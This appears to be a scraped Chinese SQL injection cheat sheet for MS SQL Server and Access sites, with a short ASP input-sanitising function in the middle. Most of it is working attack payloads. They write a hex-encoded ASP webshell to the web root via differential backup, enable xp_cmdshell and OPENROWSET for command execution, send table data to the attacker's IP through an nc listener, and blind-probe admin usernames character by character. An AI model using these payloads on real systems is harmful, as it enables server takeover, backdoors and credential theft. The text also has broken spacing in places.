SIMPLE--(把SQL設置成日誌簡單恢復模式) 注:InjectionURL是注入點,XXX是數據庫名稱. 數據庫差別備份代碼: BACKUPLOGpeihuaWITHNO_LOGDBCCSHRINKDATABASE(peihua)-- dumptransactionpeihuawithno_log-- 0.dump transaction 數據庫名 wi th no_log 清空日誌 一、create table [dbo].[jm_tmp] ([cmd] [image])-- 建立一個表 二、 declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0X6A006D00640063007700 backup database @a to disk = @s --備份數據庫,@s爲備份名稱(jmdcw的16進制轉換) 三、insert into [jm_tmp](cmd) values(0x3C2565786563757465287265717565737428226C222929253E)--將一句話木馬 ""的16進制字符插入到表中 四、 declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=’Crogram FilesCommon FilesMicrosoft SharedWeb Server Extensions40isapihsqq.asp’ backup database @a to disk = @s WITH DIFFERENTIAL,FORMAT --對數據庫實行差別備份,備份的保存路徑暫定爲C盤目錄,文件名爲hsqq.asp。 五、drop table [jm_tmp]-- 刪除此表。 ---------------------------------------------------防-------------------------------------------- Function SafeRequest(ParaName,ParaType)  ’ --- 傳入參數 ---  ’ParaName:參數名稱-字符型  ’ParaType:參數類型-數字型(1表示以上參數是數字,0表示以上參數爲字符)  Dim Paravalue  Paravalue=Request(ParaName)  If ParaType=1 then   If not isNumeric(Paravalue) then    Response.write "參數" &amp ; ParaName & "必須爲數字型!"    Response.end   End if  Else   Paravalue=replace(Paravalue,"’","’’")  End if  SafeRequest=Paravalue End function -- 繞過單引號繼續注入 URL;declare @cmd sy sname select @cmd=這裏爲你要執行命令的16進制 exec master.dbo.xp_cmdshell @cmd;-- --先聲明一個變量cmd,而後把咱們的指令賦值給cmd --sql server 2005下開啓xp_cmdshell的辦法 EXEC sp_configure ’show advanced options’, 1;RECONFIGURE;EXEC sp_configure &rs quo;xp_cmdshell’, 1;RECONFIGURE; --SQL2005開啓’OPENROWSET’支持的方法: exec sp_configure ’show advanced options’, 1;RECONFIGURE;exec sp_configure ’Ad Hoc Distributed Queries’,1;RECONFIGURE; --SQL2005開啓’sp_oacreate’支持的方法: exec sp_configure ’show advanced options’, 1;RECONFIGURE;exec sp_configure ’Ole Automation Procedures’,1;RECONFIGURE; 在db權限而且分離獲取mssql數據庫服務器ip的方法 1.本地nc監 聽 nc -vvlp 80 2.;insert into OPENROWSET(’SQLOLEDB’,’uid=sa;pwd=xxx;Network=DBMSSOCN;Address=你的 ip,80;’, ’select * from dest_table’) select * from src_table;-- ---------------------------------如下爲檢測方法--------------------------------- --檢測能否注入 ========================================================= ==================== URL and 1=1;--正常頁面 URL and 1=2;--出錯頁面 ============================================================================= --檢測數據庫的 =============================================================================< br />URL and (select count(*) from sysobjects)>0;--返回正常sql server URL and (select count(*) from msysobjects)>0;--返回正常Access ============================================================================= --檢測路徑的 ============= ================================================================ URL and (select count(*) from master.dbo.sysdatabases where name>0 and dbid=6)>0;-- ============================================================================= - -檢測表段的 ============================================================================= URL and exists (select * from admin);-- ============================================================================= --檢測字段的 ============= ================================================================ URL and exists (select username from admin) ;-- ============================================================================= --檢測ID =============================== ============================================== URL and exists (select id from admin where ID=1) ;-- ============================================================================= --檢測長度的 =========================================== ================================== URL and exists (select id from admin where len(username)=5 and ID=1);-- ============================================================================= --檢測是否爲MSSQL數據庫 ============================ ================================================= URL and exists (select * from sysobjects) ;-- ============================================================================= --檢測是否爲英文 ;-- ========================================= ==================================== URL and exists (select id from admin where asc(mid(username,1,1)) between 30 and 130 and ID=1);-- ACCESS數據庫 URL and exists (select id from admin where unicode(substring(username,1,1)) betwee n 30 and 130 and ID=1) ;--MSSQL數據庫 ============================================================================= --檢測英文的範圍 ============================================================================= URL and exists (select id from admin where asc(mid(username,1,1)) between 90 and 100 and ID=1);--ACCESS數據庫 URL and exists (select id from admin where unicode(substring(username,1,1)) between 90 and 100 and ID=1);--MSSQL數據庫 ================================ ============================================= --檢測那個字符 ============================================================================= URL and exists (select id from admin where asc(mid(username,1,1))=97 and ID=1);--ACCESS數據庫 URL and exists (select id from admin where unicode(substring(username,1,1))=97 and ID=1);--MSSQL數據庫
相關文章
相關標籤/搜索